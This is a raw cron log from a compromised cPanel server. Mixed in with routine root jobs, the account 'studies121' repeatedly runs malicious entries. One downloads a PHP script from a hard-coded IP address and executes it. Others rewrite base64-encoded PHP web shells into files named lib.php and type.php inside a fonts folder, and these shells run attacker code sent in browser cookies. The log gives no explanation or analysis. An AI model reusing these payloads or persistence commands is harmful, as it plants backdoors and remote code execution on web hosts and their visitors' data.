Feb 22 11:28:01 ip-184-168-122-23 CROND[19480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:28:01 ip-184-168-122-23 CROND[19479]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 11:28:01 ip-184-168-122-23 CROND[19482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:28:01 ip-184-168-122-23 CROND[19481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:29:01 ip-184-168-122-23 CROND[19796]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:29:01 ip-184-168-122-23 CROND[19797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:29:01 ip-184-168-122-23 CROND[19799]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:29:01 ip-184-168-122-23 CROND[19800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:30:01 ip-184-168-122-23 CROND[20121]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 11:30:01 ip-184-168-122-23 CROND[20130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:30:01 ip-184-168-122-23 CROND[20131]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 11:30:02 ip-184-168-122-23 CROND[20135]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 11:30:02 ip-184-168-122-23 CROND[20136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:30:02 ip-184-168-122-23 CROND[20138]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:30:02 ip-184-168-122-23 CROND[20140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:30:02 ip-184-168-122-23 CROND[20141]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 11:31:01 ip-184-168-122-23 CROND[20473]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:31:01 ip-184-168-122-23 CROND[20475]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:31:01 ip-184-168-122-23 CROND[20476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:31:01 ip-184-168-122-23 CROND[20477]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 11:31:01 ip-184-168-122-23 CROND[20478]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:32:01 ip-184-168-122-23 CROND[20799]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 11:32:01 ip-184-168-122-23 CROND[20800]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:32:01 ip-184-168-122-23 CROND[20803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:32:01 ip-184-168-122-23 CROND[20802]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:32:01 ip-184-168-122-23 CROND[20805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:33:01 ip-184-168-122-23 CROND[21135]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:33:01 ip-184-168-122-23 CROND[21137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:33:01 ip-184-168-122-23 CROND[21138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:33:01 ip-184-168-122-23 CROND[21139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:34:01 ip-184-168-122-23 CROND[21548]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:34:01 ip-184-168-122-23 CROND[21552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:34:01 ip-184-168-122-23 CROND[21551]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 11:34:01 ip-184-168-122-23 CROND[21553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:34:01 ip-184-168-122-23 CROND[21555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:35:01 ip-184-168-122-23 CROND[21902]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:35:02 ip-184-168-122-23 CROND[21906]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 11:35:02 ip-184-168-122-23 CROND[21907]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 11:35:02 ip-184-168-122-23 CROND[21908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:35:02 ip-184-168-122-23 CROND[21910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:35:02 ip-184-168-122-23 CROND[21905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:35:02 ip-184-168-122-23 CROND[21909]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 11:35:02 ip-184-168-122-23 CROND[21911]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Feb 22 11:36:01 ip-184-168-122-23 CROND[22268]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:36:01 ip-184-168-122-23 CROND[22270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:36:01 ip-184-168-122-23 CROND[22271]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:36:01 ip-184-168-122-23 CROND[22272]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 11:36:01 ip-184-168-122-23 CROND[22273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:37:01 ip-184-168-122-23 CROND[22595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:37:01 ip-184-168-122-23 CROND[22596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:37:01 ip-184-168-122-23 CROND[22594]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:37:01 ip-184-168-122-23 CROND[22597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:38:01 ip-184-168-122-23 CROND[22903]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:38:01 ip-184-168-122-23 CROND[22905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:38:01 ip-184-168-122-23 CROND[22906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:38:01 ip-184-168-122-23 CROND[22907]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 11:38:01 ip-184-168-122-23 CROND[22908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:39:01 ip-184-168-122-23 CROND[23230]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:39:01 ip-184-168-122-23 CROND[23231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:39:01 ip-184-168-122-23 CROND[23234]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:39:01 ip-184-168-122-23 CROND[23233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:39:01 ip-184-168-122-23 CROND[23235]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 22 11:40:01 ip-184-168-122-23 CROND[23587]: (root) CMD (/usr/lib64/sa/sa1 1 1)
